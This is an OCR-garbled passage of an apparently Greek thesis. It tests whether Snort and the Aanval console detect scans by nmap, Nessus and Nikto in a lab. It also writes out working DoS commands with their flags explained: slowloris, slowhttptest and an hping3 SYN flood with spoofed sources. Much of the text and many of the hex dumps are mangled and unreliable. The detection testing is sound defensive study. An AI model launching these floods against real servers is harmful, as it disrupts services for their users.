Stats: 0:13:33 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 84.50% done; ETC: 21:49 (0:02:27 remaining)

Nmap scan report for 192.168.100.4
Host is up (0.00067s latency) .

[Not shown: 950 closed ports, 48 open|filtered ports

PORT STATE SERVICE

53/udp open domain

5353/udp open zeroconf

MAC Address: 00:0C:29:B5:0D:94 (VMware)

|
Nmap done: 1 IP address (1 host up) scanned in 1038.14 seconds

Ewkova 8. AnoteAéouata nmap -sU

Ko to alert UDP Portscan oto Aanval.

AANVAL MHome  QEvents «hi Charts 8

Event Details

Detalled view of event #275434 in Datastore 1001 < ’
Module Datastore Risk Ds sID Date / Time Delete
Unified2 1001 2 1 10-04-2016 21:40:38 Delete

Automated Event Validation

) GID Cio

7 122 4 tscan

Details unavailable

No assigned tags Add Tag~

Pv4 Header

Seurce Address ARIN Destination Address ARIN

192.168.100.6 view 192.168.100.4 view

Seurce Hostname Destination Hostname

192.168.100.6 192.168.100.4

Ver Hdr Len TOS  Length ID

4 5 192 166 45021

Flags Offset L Chksum

Payload HEX
0PPPEERA: BB35 PA30 PA37 PP32 PE36 P30 P36 0E46 0E37 OA32 AA36 AA3D AA37 BO34 BO37 MO390 |5072696F72697479|
00000016: 0832 0630 0634 0033 0036 0046 0037 0035 0036 0045 0037 0034 0633 0041 6032 0030 |20436F756E743A20|
00800032: 0833 BB35 8630 6041 0034 0033 0036 0046 0036 0A45 0B36 0B45 8636 8035 0036 0033 |356A436F6EGE6563|
00PPEE48: PA37 PA34 PO36 PP30 PO36 P46 PO36 0E45 0B32 OA3P ©A34 AA33 MA36 PP46 PO37 BO35 |74696F6E20436F75]
00000064: 0036 0045 @037 0034 0033 0041 0032 0030 0033 PO36 0030 0041 0034 9039 0035 0030 |GEV43A20360A4950|

Ewova 9. Aanval alert yia to nmap -sU
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EkTEAWVTOC TNV EVTOAN:

nmap -sN 192.168.100.4

onou:

-sN: Null Scan (To TCP flag header eivai 0)

eudavilovral oL avolyteg 1 dpLAtpaplopéveg ports oto Kali, evw To snort 6ev avayvwploe To scan.

:~# nmap -sN 192.168.100.4

Starting Nmap 7.01 ( https://nmap.org ) at 2016-04-10 22:05 EEST
Nmap scan report for 192.168.100.4
Host is up (0.0017s latency).
Not shown: 997 closed ports
STATE SERVICE
open|filtered domain
open|filtered http
443/tcp open|filtered https
MAC Address: 00:0C:29:B5:0D:94 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 14.41 seconds

Ewova 10. AnoteAéouata nmap -sN

Ta (8o amoteAéopata epdaviotnkav kot pe ta -sF (TCP FIN bit), -sX (Xmas scan: FIN, PSH & URG
flags).

EKTEAWVTOC TNV EVTOAN:
nmap -sZ 192.168.100.4
onou:

-sZ: SCTP Cookie ECHO scan

sudavilovral ptpaplopévec AMeg ports oto Kali, evw To snort Sev avayvwploe To scan.
~# nmap -sZ 192.168.100.4

Starting Nmap 7.01 ( https://nmap.org ) at 2016-04-11 22:05 EEST
Nmap scan report for 192.168.100.4

Host is up (0.00037s latency).

Not shown: 45 open|filtered ports

PORT STATE SERVICE

80/sctp filtered http

179/sctp filtered bgp

5061/sctp filtered sip-tls

9902/sctp filtered enrp-sctp-tls
11997/sctp filtered wmereceiving
11998/sctp filtered wmedistribution
11999/sctp filtered wmereporting

MAC Address: 00:0C:29:B5:0D:94 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 14.80 seconds

Ewova 11. AnoteAéouata nmap -sZ
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EkteAwvTag TNV EVIOAR:
nmap -sO 192.168.100.4
onou:

-s0O: IP protocol scan

gudavilovral avolytég Kol (PINTPAPLOUEVEG ports Tou O&v XPNOLUOTOLOUVTOL OO KATOLO
npwtokoAAo. To Aanval entiong dev epdavice Timota.

:~# nmap -s0 192.168.100.4

Starting Nmap 7.01 ( https://nmap.org ) at 2016-04-11 22:39 EEST
Warning: 192.168.100.4 giving up on port because retransmission cap hit (10).
hStats: 0:00:47 elapsed; 0 hosts completed (1 up), 1 undergoing IPProto Scan
_IPProto Scan Timing: About 29.90% done; ETC: 22:41 (0:01:22 remaining)
‘Stats: 0:01:25 elapsed; 0 hosts completed (1 up), 1 undergoing IPProto Scan
IPProto Scan Timing: About 41.48% done; ETC: 22:42 (0:01:43 remaining)
Stats: 0:03:31 elapsed; 0 hosts completed (1 up), 1 undergoing IPProto Scan
FIPProto Scan Timing: About 81.32% done; ETC: 22:44 (0:00:46 remaining)
‘Nmap scan report for 192.168.100.4
iHost is up (0.00077s latency).
Not shown: 248 closed protocols
PROTOCOL STATE SERVICE
11 open icmp
open|filtered igmp
6 open tcp
17 open udp
103 open| filtered pim
133 open|filtered fc
136 open|filtered udplite
168 open| filtered unknown
MAC Address: 00:0C:29:B5:0D:94 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 294.06 seconds

Ewova 12. AnoteAéouata nmap -sO
EkTeAWVTOC TNV EVTOAN:
nmap -sV 192.168.100.4
onou:
-sV: Version detection

geudavilovral ol avolyteg ports poll e Ti¢ ekSOOELC TV EPAPUOYWY TIOU TPEXOUV G’ QUTEC TIG
ports.

:~# nmap -sV 192.168.100.4

Starting Nmap 7.01 ( https://nmap.org ) at 2016-04-11 23:07 EEST
Nmap scan report for 192.168.100.4
Host is up (0.00053s latency) .
Not shown: 996 closed ports

STATE SERVICE VERSION

open ftp vsftpd 3.0.2

open domain

open http Apache httpd 2.4.7

) ssl/http Apache httpd 2.4.7

MAC Address: 00:0C:29:B5:0D:94 (VMware)
Service Info: Host: 127.0.1.1; 0S: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 28.33 seconds

Ewova 13. AnoteAéouata nmap -sV
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To Aanval epdavios to TCP Portscan.

Event Details

Detalled view of event #284480 In Datastore 1001 < ’
Event ID Module Datastore Risk DS SID DS CID Date / Time Delete
284480 unified2 1001 2 1 797926 11-04-2016 23:09:00 Delete
Automated Event Validation
Signature
Signature ID GID (o] Signature Name Category Name

1 122 4 portscan: TCP Portscan attempted-recon
Details unavailable
Tags
No assigned tags Add Tag =
Pv4 Header
Source Address ARIN Destination Address ARIN

192.168.100.6 view 192.168.100.4 view
Source Hostname Destination Hostname

192.168.100.6 192.168.100.4
Ver Hdr Len TOS Length ID
4 5 35

Flags Offset TTL Chksum

64 61808

Payload HEX

000000EPR: BA34 8046 PB37 BE30 PO36 AG35 0036 9045 G032 0030 0035 0030 0036 0046 0037 @832 |4F7TO656E28506F72|

00000016: ©O37 0034 0933 0041 0032 0030 0033 0034 0033 0034 0033 0033 0030 0041 .... .... | 743A203434330A. . |
Pavload ASC

Ewkéva 14. Aanval alert yia to nmap —sV

4.1.2 Nessus

To Nessus amotelel éva gpyaleio ya vulnerability scanning. Anpwoupyndnke to 1998 amnd tov
Renaud Deraison w¢ dwpedv security scanner kat ano to 2005 n etaipla Tenable Network
Security to mapéxel péow license. Mapéxetal eite péow ouvdpoung eite dwpeadv yla
TLEPLOPLOUEVO aplOUO IP SleuBUvVoewV Kal XpnoLUoTmoLel Evav peydAo aplBud amd plugins yla thv
avalntnon twv sunaBelwv [14].

Tpéxovtoc to Advanced Scan kaL to Web Application Scan to Nessus gudavios €vo aplBuo omd
vulnerabilities mou Atav kupiwg medium risk kat informational. Ta medium adopoloav Tig
ekb00oeLg Tou SSL Kat ta directories tou Web Server. To Aanval epdavioes Katl auto kamola alerts,
Kuplwg yla port scanning. MNapakdtw dalvovtal ta anoteAéopata tou Advanced Scan.
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Advanced scan Configurs Audit Trail

RRENT RESULTS: APAIL 2¢ AT1:14 P

Scans > Hosts [}

Host

192.168.100.4

Vulnerabilities By Plugin

Launch v

Expart

Vulnerabilties History

Vulneratilties &

Ewkova 15. Nessus Advanced Scan

*20007 (1) - SSL Version 2 and 3 Protocol Detection

*51162 (1) - SSL Certificate Cannot Be Trusted

*57582 (1) - SSL Self-Signed Certificate

*65821 (1) - SSL RCA Cipher Suites Supported (Bar Mitzvah)
11219 (3) - Nessus SYN scanner

*22064 (3) - Service Detection.

10107 (2) - HTTP Server Type and Version...

*11002 (2) - DNS Server Detection

*24260 (2) - HyperText Transfer Protocol (HTTP) Information
*39521 (2) - Backported Secutity Patch Detection (WWW)
*43111 (2) - HTTP Methods Allowed (per directory)

*10028 (1) - DNS Server BIND version Directive Remote Version Detection
*10114 (1) - ICMP Timestamp Request Remote Date Disclosure
*10287 (1) - Traceroute Information

*10863 (1) - SSL Certificate Information

*11936 (1) - OS I|dentification

*19508 (1) - Nessus Scan Information

20094 (1) - VMware Virtual Machine Detection

21643 (1) - SSL Cipher Suites Supported

025220 (1) - TCPAP Timestamps Supported

*35371 (1) - DNS Server hostname bind Map Hostname Disclosure
35716 (1) - Ethernst Card Manufacturer Detection

*45590 (1) - Common Platform Enumeration (CPE)

*50845 (1) - OpenSSL Detection.

*51801 (1) - SSL Session Resume Supportad

*54615 (1) - Device Type

*56964 (1) - SSL / TLS Versions Supported

*57041 (1) - SSL Perfect Forward Secrecy Cipher Sultes Supported
*66717 (1) - mDNS Detection (Local Network)

70544 (1) - SSL Cipher Block Chaining Cipher Sultes Supported
72779 (1) - DNS Server Version Detection

*84502 (1) - HSTS Missing From HTTPS Server

Ewova 16. AntoteAéouata tou Advanced Scan

‘Scan Details
Name Advanced scan
Status: Completed
Pulicy: Advanced Scan
Scanner  Local Scanner
Foider: My Scans
Stant Apel 24 2t 1:09 PM
End Apeil 24 at 1:14 PM
Elapsed: 5 minutes
Targets: 192.168.100.4
Vulnerabilities
Meciam
® o

35

37
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20007 (1) - SSL Version 2 and 3 Protocol Detection
Synopsis

The remote service encrypts traffic using a protocol with weakn:
Description

The remote service accepts connections encrypted using SSL 2.0 and/or SSL 3.0. These versions of SSL are affected
by several cryptographic flaws. An attacker can exploit these flaws to conduct man-in-the-middle attacks or to decrypt
communications between the affected service and clients.

NIST has determined that SSL 3.0 is no longer acceptable for secure communications. As of the date of enforcement
found in PCI DSS v3.1, any version of SSL will not meet the PCI SSC'S definition of 'strong cryptography’.

See Also
http://ww.schneier.com/paper-ssl.pdf

hitp://support.microsoft.com/kb/187498
hitp:/iwww.nessus.org/u?247c4540
https://www.openssl.org/~bodo/ssl-poodie. pdf
hitp://mww.nessus.org/u?5d15ba70
https://www.imperialviolet.org/2014/10/14/poodie.html

https://tools.ietf.org/html/draft-ieti-tis-downgrade-scsv-00
Solution

Consult the application's documentation to disable SSL 2.0 and 3.0.
Use TLS 1.1 (with approved cipher suites) or higher instead.

Risk Factor
Medium
CVSS Base Score
5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)
Plugin Information:
Publication date: 2005/10/12, Modification date: 2015/10/07

Hosts
192.168.100.4 (tcp/443)

- SSLv3 is enabled and the server supports at least one cipher.

Ewova 17. SSL version detection and to Advanced Scan tou Nessus
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Event Details

Detailed view of event #346647 in Datastore 1001

Event ID Module Datastore Risk IDs SID IDs CID
346647 Unified2 1001 2 1 799901

Date / Time

24-04-2016 18:25:04

Automated Event Validation

Evel alida formec s event; device / service ma 3
Signature

signature ID GID ciD signature Name

1 122 4 portscan: TCP Portscan

Details unavailable
Tags

No assigned tags

IPv4 Header
Source Address ARIN Destination Address
192.168.100.6 view 192.168.100.4

Source Hostname

192.168.100.6 192.168.100.4

ver Hdr Len TOS Length ID
4 5 162 44818
Flags Offset ™ Chksum
64 16994
Payload HEX

£0000001: 0935 9030 37 0932 0036 039 0036 0046 PO37 0032 0036 ©O39 @037 0034 BO37 8039
©0000016: 0032 0030 0034 0033 BO36 0046 0037 6035 HE36 0045 0037 OO34 0033 0041 BO32 BO30
00000032: 0033 9035 0030 0941 0034 PO33 0036 0046 PO36 0045 0036 BO45 0036 0035 BO36 BO33
©0600048: 0037 0034 G036 0039 BO36 ©O46 0036 6045 BE32 0030 0034 OO33 0036 0046 BO37 BO35
00000064 0036 9045 0037 0034 9033 0041 0032 0030 9033 0035 0030 9041 0034 0039 9935 0030

1

Destination Hostname

< >
Delete
Delete
Category Name
attempted-recon
Add Tag~

ARIN

view

|5072696F72697479]
|20436F756ET43A20 |
|350A436F6EGEG563 |
| 74696F6E20436F 75|
|6E743A20350A4950 |

Ewkova 18. Aanval alert yia to Advanced Scan tou Nessus

2 Admin

Detailed view of event #347536 in Datastore 1001

Event ID Module
347536 Unified2 1001 2 1 799914

Datastore Risk IDS SID IDS CID Date / Time

24-04-2016 18:25:24

Automated Event Validation

Event va could not be mec his event; device / service informa avalla
Signature

signature ID GID ciD Signature Name

15 129 3 streams: Reset outside window

Details unavallable
Tags

No assigned tags

I1Pv4 Header
Source Address ARIN Destination Address
192.168.100.6 view 192.168.100.4

Source Hostname

192.168.100.6 192.168.100.4
Ver Hdr Len TOS Length ID
4 5 52 12631
Flags Offset T Chksum
64 49169
TCP Header
Source Port Destination Port Sequence Offset
35624 443 688614012 8
Ack Chksum URP Length Window
4017879698 19063 307

Destination Hostname

Delete
Delete
Category Name
bad-unknown
AddTag~

ARIN

view

Ewova 19. Aanval alert yia to Advanced Scan tou Nessus
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Meploootepa amoteAECUATO Ao Ta scah Tou Nessus UTtApXOoUV OTa EMLOUVOTTTOUEVO OpXELaL.

Advanced_scan.pdf Web_app_scan.pdf

4.1.3 Nikto

To Nikto eival évag web server scanner mou mepAapBavel dlopopwv 6wV tests Kal KAVEL
g\éyxouc yla outdated server versions og mavw amnod 1250 servers. EMutAov, €xel Tn Suvatotnta
va paypatonolnost eAéyyoug os configuration files onwg index files, HTTP server options KA.

To Nikto epdavioe Slddopa amoteAéopata Onwe ¢poaivovtal KoL opaKATW.
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:~# nikto -h
Nikto v2.1.6

: 192.168.100.4
Target Hostname: 192.168.100.4
Target Port:

+ oo+ o+

Apache/2.4.7 (Ubuntu)
clickjacking X-Frame-Options header is not present.
e X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
ions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
0SVDB-3268 Directory indexing found.
No CGI Directories found (use '-C all' to force check all possible dirs)
Ap /2.4.7 appears to be outdated (current is at least Apach .4.12) . Apache 2.0.65 (final release) and 2.2.29 are also current.
Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
0SVDB-3268: : Dlroctory 1ndavlng found.
0SVDB-3268 ? = iew: Directory indexing found.
0SVDB-3268 ? e i Directory ind ng found.
/./: Appen v/ 1o & dlvﬂctory allows indexing
0SVDB-3268: / Directory indexing found.
//: Apache on Red Hat Linux rele 9 reveals the root directory listing by default if there is no index page.
0SVDB-3268: /7 : Di indexing found.
0SVDB-3268: / i ory indexing found.
0SVDB-3268: e/: Directory indexing found.
0SVDB-576: /%2e/: Weblogic allows source code or directory listing, upgrade to v6.0 SP1 or higher. http://www.securityfocus.com/bid/2513.
0SVDB-3268: /?mod=<script=alert(document.cookie)</script>&op=browse: Directory indexing found.
0SVDB-3268: /7?sql_debug=1: Directory indexing found.
0SVDB-3268: ///: Directory indexing found.
0SVDB-3268 ?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7BO8C1O0OO: Directory indexing found.
0SVDB-3268 HPES568F36-D428-11d2-A76 0AAGOL 42: Directory indexing found.
0SVDB-3268: HPE9568F34-D428-11d2-A769-00AAB01ACF42: Directory indexing found.
0SVDB-3268 HPES568F35-D428-11d2-A769-00AAB01ACF42: Directory indexing found.
0SVDB-3268 ?PageServi. : Directory inde g found.
+ 0SVDB-119: /7Pagn8nrvlrﬂ’ The remote server may allow directory listings through Web Publisher by for g the server to show all files via 'open directory browsing'. Web Publisher s
hould be disabled. /cve.mi % 4 gi-bin/cvename.cgi?name CVE-1999-0269.
+ 0SVDB-3268: /?w i ry i ng found.
+ O0SVDB- 1l9 may allow directory listings through Web Publisher by forcing the server to show all files via 'open directory browsing'. Web Publisher sho
cgl bin/cvename.cgi?nam VE-1999-026

&
5
”
+
+
i
"
+
.
5
”
+
+
5
&
+
s
b
+
+
"
3
+
¥
+
+

VDB- 3268
+ 0SVDB-3092
+ 0SVDB-3268 / / /1117 // 1111717177717 1 ,,‘«'f///'//////////////' LILLILLLLLLLLL LI L LIS LI L LTI LI LTI LI LI I 1117777777777 17777/
LILILILI LTI T A / / /// / 111177 f ory ind ng found.
+ 0SVDB-3288: /771 Y, / / / // ,// // / / I’/ ’//////’ ///‘//‘/'////// ///l,///'l/,//,/.//’l ///'////.//‘/ // ////.// ///‘////‘//‘/ // // // / // // // // j,// // / //’/ / /" y
1111777 LIS // / / / / oy 3 5 eveals dire y listing when /'s are requested.

+ 0SVDB-3268 ?
+ 0SVDB-3268: /?N=D: Directory indexing found.
+ 0SVDB-3268: /7 D ctory indexing found.
] ctory indexing found.
+ ﬂbVDB 3268: \"><script=>alert('Vulnerable') ;</scri : Directory indexing found.
+ Server laaks inodes via ETags, header found with file cons/README, fields: 0x13f4 0x438c034968a80

Ewkéva 20. AnoteAéouarta Nikto
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Ewova 21. AntoteAéouata Nikto

To Aanval epdavice povo kamola alerts HTTP inspect.

Event Details

Ewoéva 22. Aanval alert amo to Nikto
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AANVAL

Ewkéva 23. Aanval alert amé to Nikto

4.2 EruBéoeilg DoS

4.2.1 EniBeon Slowloris

H emniBeon slowloris amoteAel eniBeon tomou Denial of Service (DoS). O emtiBgpevog €xel TN
SuvaToTNTA HEOW €VOG UOVO UTOAOYLOTH Kal ToAU yapnAoU bandwidth va otapatiost t
Aewtoupyla evog web server. H emiBeon emtuyydvetal péow tng Snuioupyiog moAlamAwv
oUVS£CEWV TIPOG TOV server-BUa oL OTIoLEC OPOEVOUV AVOLXTEC. AUTO £XEL WG AMOTEAECHA val
UNV UMOPEL va eEUTINPETAOEL TIC VEEG CUVOECELG amo dAloug clients.

H eniBeon ulomonOnke pe TNV ektéleon tou perl script:

perl slowloris.pl -dns 192.168.100.4 -options

3.4 -options
nous HTTP client by Laera Lo

Ewkova 24. Ektédeon entiBeanc slowloris
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H omola kat avaykaoe tov Apache server va iunv unopel va e§unnpetnoet toug clients.

@ The connection was reset

Ewova 25. ASuvauia eEuntnpétnanc tou client anod tov Apache server.

TNV TIPOKELPEVN Tepimtwon To Snort 8ev avayvwploe tv emibeon, Adyw tng €AAeWPng
avtiototyou rule. Emiong, oute kamolo dAo DoS rule avayvwploe TNV CUYKEKPLUEVN eTiBeon.

4.2.2 EniBeon Slowhttptest
H eniBeon slowhttptest eivol emiBeon DoS mou yivetal oto Application Layer kat mio
OUYKEKPLUEVA OTO TPWTOKOAAO HTTP.

EkteAéoTnKe e TNV aKOAOUON eVTOAN:

slowhttptest -c 1000 -B -g -o my_body stats -i 110 -r 200 -s 8192 -t FAKEVERB -u
https://192.168.100.4 -x 10 -p 3

onou:

-c: apBpdG Twv connections

-B: slow down in body section (0xL header section)
-g: TO OTOTLOTIKA Byaivouv og CSV & HTML apyeia
-0: output file

-i: peoodLaotnua og SeutepOAenTa LETALY TWV SeS0UEVWY TIOU OTEAVOVTAL AVA connection
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-r: connections avd SeutepOAenTo

-s: Tiun oe byte tou Content-Length header
-t: HTTP verb (method, e.g. GET,PORT etc.)
-u: url

-x: max length twv follow up data

-p: probe connection timeout, Petd to omolo o server sival inaccessible

_stats -1 110 -

15
slowhttptest versi
- https://co le.c httptest/ -
SLOW BODY

2.168.100.4/

Sun May
slow HITP test statu

initializing:

s
- https://code 1 p/s httptest/ -
SLOW BODY
16000
92.168.100.4/

Ewdva 26. Ektédeon entideonc slowhttptest

-t FAKEVERB -u htt

JUupudwva pe To output file o Apache server otapaTdel va Qavtomokpivetal PETA omd 6
Seutepolenta al\d otnv mpaypatikotnta o client dev pmopei va poptwoel tn oeAiba and tnv
TPWTN oTyun. To snort yla akopn pia popa dev pnopei va avttAndBei tnv enibeon.
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4.2.3 EpyaAeio hping3

To hping3 elval éva epyoleio diktuou mou €xeL tn Suvatdtnta va amootsilel mokéto TCP/IP
TOpOUOLla HE QUTA TOU OTEAVEL TO ping. Me to hping3 umopel va yivel port scanning, va
Sokipaotouv firewall rules kal va eheyxBei n andédoon tou Siktuou yia Slddopa MPWTOKOAAA Kall
yla dtadopetikol pey£EBouG MaKETa.

AOKLIAOTNKE N EMOUEVN EVIOAN:

hping3 -c 10000 -d 120 -S -w 64 -p 21 --flood --rand-source 192.168.100.4
onou:

-c 10000: aplBUOG TWV TTAKETWY TTOU OTEAVOVTAL

-d 120: péyeBog nakétou oe byte

-S: amooTtoAr povo SYN mokeETwv

-w 64: p€yebog TCP window

-p 21: port Tou uTtOAOYLOTH CTOYXOU

--flood: anootoAr makéTwy 660 To Suvatov ypnyopoTepa, Xwpic va daivovtal oL amavinoeLg otnv
0Bovn

--rand source: xprion tuxaiag dtevBuvong IP yla tov emttiBépevo
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> 192.168.100.4:21

03/21-20:39:11.137558 [**] [129:15:1] stream5: Reset outside window [**] [Classi
fication: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.100.4:21 -> 56.92.
62.136:47100

|03;21—20:39:11.13?5?0 [**] [129:15:1] stream5: Reset outside window [**] [Classi
|fication: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.100.4:21 -> 44.229
L227.53:47101

03/21-20:39:11.138104 [**] [129:2:1] stream5: Data on SYN packet [**] [Classific
ation: Generic Protocol Command Decode] [Priority: 3] {TCP} 78.31.158.147:47102 -
> 192.168.100.4:21

03/21-20:39:11.138108 [**] [129:2:1] stream5: Data on SYN packet [**] [Classific
ation: Generic Protocol Command Decode] [Priority: 3] {TCP} 37.115.203.40:47103 -
> 192.168.100.4:21

©3/21-20:39:11.138218 [**] [129:15:1] stream5: Reset outside window [**] [Classi
fication: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.100.4:21 -> 78.31.
158.147:47102

(03/21-20:39:11.138915 [**] [129:2:1] stream5: Data on SYN packet [**] [Classific
ation: Generic Protocol Command Decode] [Priority: 3] {TCP} 128.127.4.53:47104 -=>
| 192.168.100.4:21

03/21-20:39:11.138920 [**] [129:15:1] stream5: Reset outside window [**] [Classi

fication: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.100.4:21 -> 37.115
.203.40:47103

03/21-20:39:11.138922 [**] [129:2:1] stream5: Data on SYN packet [**] [Classific

ation: Generic Protocol Command Decode] [Priority: 3] {TCP} 140.127.252.51:47105
-> 192.168.100.4:21

03/21-20:39:11.138924 [**] [129:15:1] stream5: Reset outside window [**] [Classi

fication: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.100.4:21 -> 128.12

7.4.53:47104

©3/21-20:39:11.139053 [**] [129:2:1] stream5: Data on SYN packet [**] [Classific

ation: Generic Protocol Command Decode] [Priority: 3] {TCP} 66.131.167.101:47106

|-: 192.168.100.4:21

03/21-20:39:11.139174 [**] [129:15:1] stream5: Reset outside window [**] [Classi

fication: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.100.4:21 -> 140.12

7.252.51:47105

03/21-20:39:11.139487 [**] [129:2:1] stream5: Data on SYN packet [**] [Classific

ation: Generic Protocol Command Decode] [Priority: 3] {TCP} 203.232.172.191:47187
-> 192.168.100.4:21

Ewdva 27. Snort alerts yia to hping3

H eniBeon Sinpkeoe 24 Aemtd, omou eotaAnoav 14620519 nakéta. To snort XpeLAoTnKe Tepinou
3 wpEC yLa va OAOKANPpWOoEL TNV enegepyaoia tng enibeonc.
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C*** Caught Int-Signal
Barnyard2 exiting
database: Closing connection to database "snort"”

Records: 944550

Events: 472275 (50.000%)
Packets: 472275 (50.000%)
Unknown : 0 (0.000%)
Suppressed: 0 (0.0

acket breakdown by protocol (includes rebuilt packets):

ETH: 472275 (100.000%)
ETHdisc: (0.000%)
VLAN: (0.000%)
IPV6: (0.000%)
IP6 EXT: (0.000%)
IPGopts: (0.000%)
IP6disc: (0.000%)

IP4: (100.000%)
IP4disc: (0.000%)
TCP 6: (0.000%)
UDP 6: (0.000%)
ICMP6: (0.000%)
ICMP-IP: (0.000%)

TCP: (100.000%)
UDP: (0.000%)
ICMP: (0.000%)

UDPdisc:
ICMPdis:
FRAG:
FRAG 6:
ARP:
EAPOL :
ETHLOOP:
IPX:
OTHER:
DISCARD:
InvChkSum:
S5 G 1:
S5 G 2:

(0.000%)
(0.000%)
(0.000%)
(0.000%)
(0.000%)
(0.000%)
(0.000%)
(0.000%)
(0.000%)
(0.000%)
(0.000%)
(0.000%)
(0.000%)

o]
o]
0
(<]
o]
4
0
(<]
o]
6]
(5]
4
o]
1
TCPdisc: © (0.000%)
o]
o]
0
(<]
o]
6]
0
(0]
o]
(6]
(5]
o]
o]
4

losing spool file '/var/log/snort/snort.u2.1458582 . Read 924020 records
root@ubuntu:~#

Ewova 28. AnoteAéouara Snort

210 aanval gudaviotnkav ta akoAouba amoteAéopata. ITov Xaptn daivetal OtL oL eTUBEOCELS
niponABav amnd StadopeTikég Tonobecieg ava Tov KOOUO AOyw TNE Xpriong tuxaiag IP StevBuvong.
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Aanval Console oo

‘ My Somars

Event Activity

Threat Level

Recent Events

e | oeais
o | oeuls
© | Deuls

Change Datastare

Europe/Helsinki

Events / Hox

e
) e G

AHome  QEv

AANVAL

Event Details

Detalled view of event #827907 in Datastore 1000

e ] poces s | e

F Tools

Event ID Module Datastore Risk 1DS SID IDS CID Date / Time
827907 Unified2 1000 2 1 511468 21-03-2016 20:16:03
Automated Event Validation
Event validation could not be performed on this event; device / service information not avallable.
signature
Signature 1D GID ap signature Name
15 129 3 streams: Reset outside window
Details unavailable
Tags
No assigned tags
IPv4 Header
Source Address ARIN Destination Address
192.168.100.4 view 29.126.194.169
Source Hostname Destination Hostname
192.168.100.4 29.126.194.169
Ver Hdr Len TOs Length 1D
4 5 40 64512
Flags Offset T Chksum
64 14843
TCP Header
Source Port Destination Port Sequence Offset
21 12929 5
Ack Chksum URP Length  Window
1797811191 41286

Risk Level 5

Low High
i

Category Name
bad-unknown

ARIN

view

Ewova 30. Snort alert and tnv entideon hping3 onwg @aivetat oto Aanval

2to VM-BUpa mapatnpndnke kabuotépnon oto ping (109ms average) oe

ouvnBLlopévo nou eival mepimou 81 ms kaBwg kat packet loss.

2 Admin Ac

Delete

Delete

Add Tag~

oxéon ue

10
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orestis@ubuntu:~% ping 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
bytes from 8.8.8.8: icmp_seq=1 ttl=128 time=84.8 ms
bytes from 8.8. icmp_seq=2 ttl=128
bytes from 8.8. icmp_seq=3 ttl=128 time ms
bytes from B.8. icmp_seq=4 ttl=128 ti ms
bytes from 8.8. icmp_seq=5 ttl=128 ms
bytes from 8.8. icmp_seq=6 ttl=128 time ms
bytes from 8.8. icmp_seq=7 ttl=128 ti ms
bytes from B8.8. icmp_seq=9 ttl=128 time=96.5 ms
bytes from B8.8. icmp_seq=10 ttl=128 time=175 ms
bytes from 8.8. icmp_seq=11 ttl=128 time=93.3 ms
bytes from 8.8. icmp_seq=12 ttl=128 time=142 ms
bytes from 8.8. icmp_seq=13 ttl=128
bytes from B8.8. icmp_seq=14 ttl=128
bytes from 8.8. icmp_seq=15 ttl=128
bytes from 8.8. icmp_seq=16 ttl=128
bytes from 8.8. icmp_seq=17 ttl=128
bytes from 8.8. icmp_seq=18 ttl=128
bytes from B.8. icmp_seq=19 ttl=128 time=146 ms
bytes from 8.8. icmp_seq=20 ttl=128 time=87.5 ms
bytes from 8.8. icmp_seq=21 ttl=128 time=121 ms
bytes from 8.8. icmp_seq=22 ttl=128 time=96.7 ms

8.
8.
8.
8.
8.
8.
8.
8.
8.
8.
8.
8.
8.
8.
8.
8.
8.
8.
8.
8.

mwmmmmmmmmmwmmmwmmmm

I T T T T T A T I T T R T T T

'--- 8.8.8.8 ping statistics ---
'23 packets transmitted, 21 received, 8% packet loss, time 22294ms
,rtt minfavg/max/mdev = 83.467/109.288/175.955/23.702 ms

Ewova 31. KaSuotépnon Stktuou kat packet loss oto VM-3uua kata tnv enideson

orestis@ubuntu:~$ ping 8.8.8.8

PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.

‘64 bytes from icmp_seq=1 ttl=128 time=82.1
64 bytes from icmp_seq=2 ttl=128 time=81.1
64 bytes from icmp_seq=3 ttl=128 time=81.3
64 bytes from icmp_seq=4 ttl=128 time=81.2
64 bytes from icmp_seq=5 ttl=128 time=81.8
.64 bytes from icmp_seq=6 ttl=128 time=81.4
64 bytes from icmp_seq=7 ttl=128 time=81.4
'64 bytes from icmp_seq=8 ttl=128 time=81.0
64 bytes from icmp_seq=9 ttl=128 time=81.2
.64 bytes from icmp_seq=10 ttl=128 time=81.1
64 bytes from icmp_seq=11 ttl=128 time=81.6
64 bytes from icmp_seq=12 ttl=128 time=83.2
'64 bytes from icmp_seq=13 ttl=128 time=80.8
64 bytes from icmp_seq=14 ttl=128 time=81.4
‘64 bytes from icmp_seq=15 ttl=128 time=81.0
‘64 bytes from icmp_seq=16 ttl=128 time=81.7
,64 bytes from icmp_seq=17 ttl=128 time=83.2
64 bytes from icmp_seq=18 ttl=128 time=83.3
64 bytes from icmp_seq=19 ttl=128 time=81.3
AL

--- B.8.8.8 ping statistics ---

119 packets transmitted, 19 received, 0% packet loss, time 18634ms
rtt min/avg/max/mdev = 80.859/81.685/83.319/0.849 ms

.
.

.
.

.
.

.
.

.
.

.
.

.
.

.
.

.
.

.
.

.
.

.
.

.
.

.
.

.
.

.
.

.
.

0O 0000 00 00 OO0 00 GO OO D000 000 C0 0000 0000 @

B8 EE B4 BB EE B8 KE 84 B4 K6 S8 KE 86 B4 KE as 84 88 w4

0O 000000 00 OO 00 QO OO0 00 0O OO 000 0@
00 00 00 00 OO0 OO0 OO C0 00 00 00 00O C0 0000 00 @
00 00 00 00 00 O0 OO OO 00 00 Q0 OO 00 O0 OO0 OO 00 Q0 Q0

.

